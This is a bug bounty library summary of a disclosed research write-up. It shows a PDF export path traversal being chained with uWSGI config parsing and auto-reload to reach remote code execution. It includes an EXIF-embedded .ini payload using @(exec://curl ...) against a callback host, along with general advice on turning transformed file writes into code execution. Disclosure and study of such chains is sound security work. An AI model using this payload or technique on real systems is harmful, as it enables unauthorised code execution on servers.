# A New Vector For “Dirty” Arbitrary File Write to RCE

Path traversal in a PDF export feature allowed writing a polyglot PDF/INI into uWSGI's config, whose @(exec://) operator yielded RCE.

- Payout: Research
- Severity: high
- Program: uWSGI
- Credited: Doyensec
- Disclosed: 2023-02-27
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2023-02-28-new-vector-for-dirty-arbitrary-file-write-2-rce-html
- Tags: domain:web impact:rce kind:research platform:research sev:high tech:python technique:chained vuln:file-upload vuln:path-traversal vuln:rce

**Target:** PDF export endpoint writing to uWSGI .ini config path
**Root cause:** PDF export endpoint allowed path traversal to overwrite arbitrary files with attacker-influenced content; uWSGI parses .ini files and supports @(exec://) operators, and py-auto-reload re-reads config on file change.
**Steps:**
1. Identify PDF export endpoint that reads a template, merges attacker content, and writes to an attacker-named path (path traversal).
2. Craft a polyglot PDF embedding a multiline .ini payload in image EXIF metadata: `&#x0a;[uwsgi]&#x0a;foo = @(exec://curl http://collaborator.oastify.com)&#x0a;`.
3. Write the polyglot to `/app/console/uwsgi-sockets.ini` via the traversal.
4. Trigger reload by overwriting any `.py` (py-auto-reload=3) or wait for restart.
5. Observe curl callback on Burp Collaborator confirming RCE.
**How found:** Noticed the app ran under uWSGI and that a writable .ini config existed in the app directory; read core/ini.c and observed the @(exec://) operator and py-auto-reload behavior, then built a polyglot PDF to survive the template merge.
**Exploitation:** Attacker uses the PDF export path traversal to overwrite the uWSGI .ini config with a polyglot PDF containing an embedded [uwsgi] section using @(exec://...) to run commands; py-auto-reload detects the .py change and reloads, executing the payload as the web user.
**Escalation:** Chained path traversal AFW + uWSGI config parsing + py-auto-reload to escalate from file write to RCE.
**Insight:** When you have a 'dirty' file write (content transformed/merged), look for config formats that tolerate surrounding garbage and support code-exec operators (uWSGI @(exec://), @(call://)); embed the payload in metadata (EXIF) so it survives server-side transformations, and target auto-reload flags to trigger parsing.
